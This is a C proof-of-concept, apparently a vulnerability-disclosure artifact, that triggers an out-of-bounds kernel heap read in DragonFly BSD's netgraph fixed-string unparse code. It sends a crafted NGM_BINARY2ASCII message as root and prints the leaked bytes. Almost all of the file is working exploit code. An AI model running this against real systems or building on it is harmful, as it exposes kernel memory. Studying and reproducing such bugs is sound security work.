DF-0451 / ng_fixedstring_oob.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 | /* * DF-0451 — ng_fixedstring_unparse -> ng_string_unparse unbounded strlen() * OOB kernel heap read. * * Mechanism (root-only path via PF_NETGRAPH control socket): * The fixed-string parse types (NG_NODESIZ, NG_HOOKSIZ, NG_PATHSIZ, * NG_TYPESIZ, NG_CMDSTRSIZ) all use ng_parse_fixedstring_type whose unparse * method (ng_parse.c:785-796) calls ng_string_unparse on the field with NO * bound. ng_string_unparse does strlen(raw) (ng_parse.c:727) which keeps * scanning past the bufSize bytes into whatever follows in the kernel * allocation -- adjacent struct fields, then off the end into heap. * * Trigger: send NGM_BINARY2ASCII to "." with an inner ng_mesg whose: * header.typecookie = NGM_GENERIC_COOKIE * header.cmd = NGM_NODEINFO * (respType = ng_generic_nodeinfo_type, a struct with * two fixedstring fields: name[NG_NODESIZ=32], * type[NG_TYPESIZ=32]) * header.flags = NGF_RESP (so respType is selected) * header.arglen = sizeof(struct nodeinfo) (= 72 bytes) * data = 72 bytes of 'E' (no NUL anywhere) * * ng_base.c:1562 calls ng_unparse(nodeinfo_type, binary->data, ...). * ng_unparse_composite processes the struct field-by-field; for "name" it * calls ng_fixedstring_unparse(type=nodebuf, data=binary->data, off=0). * That delegates to ng_string_unparse which does strlen(raw=binary->data+0) * -- with NO NUL in the 72-byte buffer, strlen scans the entire user buffer * and KEEPS GOING into the trailing kmalloc slack / adjacent kernel heap. * * The leaked bytes are returned encoded in ascii->data of the response. * * Trigger requires root: PF_NETGRAPH sockets need root (ng_socket.c). This is * a root -> kernel info leak. * * Reproduction: build, then as root: * kldload ng_socket.ko * ./ng_fixedstring_oob */ #include <sys/types.h> #include <sys/socket.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <netgraph.h> #include <netgraph/ng_message.h> /* NG_NODESIZ and NG_TYPESIZ are both 32 in DragonFly. */ #define FLD_SZ 32 int main(void) { int csock = -1, dsock = -1; int rc = 1; if (NgMkSockNode(NULL, &csock, &dsock) < 0) { fprintf(stderr, "NgMkSockNode failed: %s\n", strerror(errno)); fprintf(stderr, "(PF_NETGRAPH sockets require root; run as root after " "'kldload ng_socket.ko')\n"); return 2; } /* * Build the inner ng_mesg. sizeof(struct nodeinfo) = 32+32+4+4 = 72. * Fill ALL 72 bytes with non-NUL ('E') so the fixedstring strlen for * "name" reads past name[32] into type[32] / id / hooks and off the end * of the user allocation. */ size_t inner_arglen = FLD_SZ * 2 + 8; /* 72 */ size_t inner_total = sizeof(struct ng_mesg) + inner_arglen; struct ng_mesg *inner = calloc(1, inner_total); if (!inner) { perror("calloc"); goto out; } inner->header.version = NG_VERSION; inner->header.arglen = inner_arglen; inner->header.flags = NGF_RESP; /* pick respType */ inner->header.token = 0x42424242; inner->header.typecookie = NGM_GENERIC_COOKIE; inner->header.cmd = NGM_NODEINFO; /* respType = nodeinfo struct */ /* NO NUL in the data area -- forces fixedstring strlen to read past. */ memset(inner->header.cmdstr, 'C', NG_CMDSTRSIZ); memset(inner->data, 'E', inner_arglen); if (NgSendMsg(csock, ".", NGM_GENERIC_COOKIE, NGM_BINARY2ASCII, inner, inner_total) < 0) { fprintf(stderr, "NgSendMsg failed: %s\n", strerror(errno)); goto out; } unsigned char rbuf[8192]; struct ng_mesg *resp = (struct ng_mesg *)rbuf; if (NgRecvMsg(csock, resp, sizeof(rbuf), NULL) < 0) { fprintf(stderr, "NgRecvMsg failed: %s\n", strerror(errno)); goto out; } struct ng_mesg *ascii = (struct ng_mesg *)resp->data; printf("=== NGM_BINARY2ASCII(NGM_NODEINFO/RESP) response ===\n"); printf("ascii arglen=%u\n", ascii->header.arglen); printf("=== ascii->data (struct nodeinfo encoded; OOB bytes appear in " "name= and type= strings) ===\n"); fwrite(ascii->data, 1, ascii->header.arglen, stdout); putchar('\n'); /* * The legit output is something like: * name="EEE...E" type="EEE...E" id=0x... hooks=0x... * with the two fixedstring fields each containing 32 E's. strlen() on * the name field reads 32 name E's + 32 type E's + 4 id + 4 hooks + off * the end into heap, so "name=" will contain MORE than 32 E's. */ char *nameeq = strstr((char *)ascii->data, "name="); if (nameeq) { char *p = nameeq + 5; /* skip "name=" */ if (*p == '"') p++; int e_count = 0; while (*p == 'E') { e_count++; p++; } printf("\n[!] fixedstring name= field strlen read %d 'E' bytes " "(bufSize=%d). ", e_count, FLD_SZ); if (e_count > FLD_SZ) { printf("OOB READ CONFIRMED: strlen scanned %d bytes past the " "bufSize=%d boundary (DF-0451).\n", e_count - FLD_SZ, FLD_SZ); } else if (e_count == FLD_SZ) { printf("strlen stopped exactly at bufSize (NUL terminator in " "input) -- no leak this run.\n"); } /* Show the bytes right after the E's: those are post-OOB NUL or * other-structure bytes that strlen scanned into. */ printf("[!] bytes following the 'E' run (still part of strlen's " "scan until first NUL):\n "); int shown = 0; while (*p && shown < 96) { unsigned char c = (unsigned char)*p; if (c == '"') { putchar('"'); break; } if (c >= 32 && c < 127) putchar(c); else printf("\\x%02x", c); p++; shown++; } putchar('\n'); } rc = 0; out: if (csock >= 0) close(csock); if (dsock >= 0) close(dsock); return rc; } |